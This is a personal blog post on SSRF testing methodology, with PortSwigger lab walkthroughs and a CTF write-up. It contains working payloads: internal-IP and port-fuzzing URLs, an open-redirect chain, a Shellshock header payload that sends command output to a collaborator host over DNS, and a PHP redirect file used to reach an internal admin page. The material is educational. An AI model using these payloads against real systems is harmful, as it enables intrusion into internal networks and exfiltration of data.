SSRF METHODLOGY - Cyberspace of 404

752 words

4 minutes

SSRF METHODLOGY

2025-06-08

METHODLOGY

🧠 SSRF – Quick Overview

We usually need to supply or modify URLs used by the target application to read or submit data. so where u see a URL u can try to exploit SSRF.

Exploiting SSRF vulnerabilities can lead to:

Interacting with known internal systems
Discovering internal services via port scans
Disclosing local/sensitive data
Including files in the target application
Leaking NetNTLM hashes using UNC Paths (Windows)
Achieving remote code execution

We can usually find SSRF vulnerabilities in applications or APIs that fetch remote resources.

It occurs when a server sending a request outside network and we can control the request it will going to vunerable to SSRF.

Suppose a web server fetches remote resources based on user input. In that case, an attacker might be able to coerce the server into making requests to arbitrary URLs supplied by the attacker, i.e., the web server is vulnerable to SSRF. While this might not sound particularly bad at first, depending on the web application’s configuration, SSRF vulnerabilities can have devastating consequences, as we will see in the upcoming sections.

Furthermore, if the web application relies on a user-supplied URL scheme or protocol, an attacker might be able to cause even further undesired behavior by manipulating the URL scheme. For instance, the following URL schemes are commonly used in the exploitation of SSRF vulnerabilities:

http:// and https://: These URL schemes fetch content via HTTP/S requests. An attacker might use this in the exploitation of SSRF vulnerabilities to bypass WAFs, access restricted endpoints, or access endpoints in the internal network
file://: This URL scheme reads a file from the local file system. An attacker might use this in the exploitation of SSRF vulnerabilities to read local files on the web server (LFI)

🚨 SSRF Learning Resources Drop! 🚨

🔍 Want to dive deep into Server-Side Request Forgery (SSRF)? Here’s your elite starter pack:

🎥 YouTube Intro:
https://www.youtube.com/watch?v=Gk3_Q-3R6jc

🔧 Hands-on Labs & Docs:
https://portswigger.net/web-security/ssrf

🏆 CTF challenge emulate real-world SSRF attacks :
https://github.com/lc/rlyCTF

https://github.com/TommasoBuoso/SSRF-Quarantine-Blog

🧠 Full Training Library:
https://github.com/nahamsec/nahamsec.training

SSRF METHODLOGY#

I try to make it short and simple.

Try Basic Direct SSRF [change the parameter with (127.0.0.1.com)]
Try SSRF against another back-end system on other network interface. change the IP http://127.0.0.1/ to http://192.168.0.1/
SSRF against another back-end system on other port. FUZZ the PORT http://127.0.0.1:FUZZ/
Blind SSRF with out-of-band detection in Referer header or in other header. change the header with burp collaborator and see u get pinged or not.
use payload like http://127.1 and double encode or hex to bypass.

SSRF with filter bypass via open redirection vulnerability lab#

we have 2 parameters,

Try tampering with the stockApi parameter and observe that it isn’t possible to make the server issue the request directly to a different host.
Click “next product” and observe that the path parameter is placed into the Location header of a redirection response, resulting in an open redirection. but it also not vulnerable we can try to use this path parameter in stockAPI request.

1
# 1st request
2
GET /product/nextProduct?currentProductId=11&path=/product?productId=12 HTTP/1.1
3
# 2nd request
4
POST /product/stock HTTP/1.1
5
stockApi=/product/stock/check?productId=11&storeId=1
6

7
# crafting malacious request
8
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/

brief description of the Blind SSRF attack: : https://safe.security/wp-content/uploads/blind-ssrf.pdf

LAB : https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

1
# shell code paylaod
2
# u can change `whoami` with other command .
3
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
4

5
# Referer header to that web app vunerable.
6
<http://192.168.0.1:8080>
7
# send to intruder we going brute force ip.

command output going be in collaborator in DNS response. like this : Command_output.BURP-COLLABORATOR-SUBDOMAIN

🔒 SSTF Challenge – Exploiting SSRF via PHP Redirect (2nd Approach)#

In this approach, we take advantage of how the target server processes user-supplied URLs. Instead of directly hitting the internal service (127.0.0.1:5000), we use Server-Side Request Forgery (SSRF) to make the server fetch it on our behalf.

🛠️ Steps:#

Create a file named main.php on your server:

1
<?php header('Location: http://127.0.0.1:5000/admin', TRUE, 307); ?>

Host it on a web server and expose it to the internet using your public IP (e.g., via port forwarding or a cloud server).
In the vulnerable input field, enter the URL of your hosted file:
```
1
http://<your_public_ip>/main.php
```
When the server makes a request to this URL, it receives a 307 Temporary Redirect, and follows it to http://127.0.0.1:5000/admin.
Since the redirect is followed server-side, and the target service is local (internal to the server), it successfully accesses the admin page and returns the flag to you.

🧠 Why It Works:#

The server trusts your redirect because the redirection is done with an HTTP 307 (which preserves the original request method).
This is a classic example of open redirection + SSRF chaining to pivot into an internal network.

🧾 Cheat Sheets
📌 PDF Cheat Sheet: https://www.vaadata.com/blog/wp-content/uploads/2022/01/SSRF_vulnerability_cheat_sheet.pdf
📌 URL Bypass Tricks: https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet

🧪 Popular SSRF Tools
🔍 Burp Suite (with extensions like Collaborator)
🦊 SSRFmap – https://github.com/swisskyrepo/SSRFmap
⚙️ Gopherus – https://github.com/tarunkant/Gopherus
🕵️ Interactsh – https://github.com/projectdiscovery/interactsh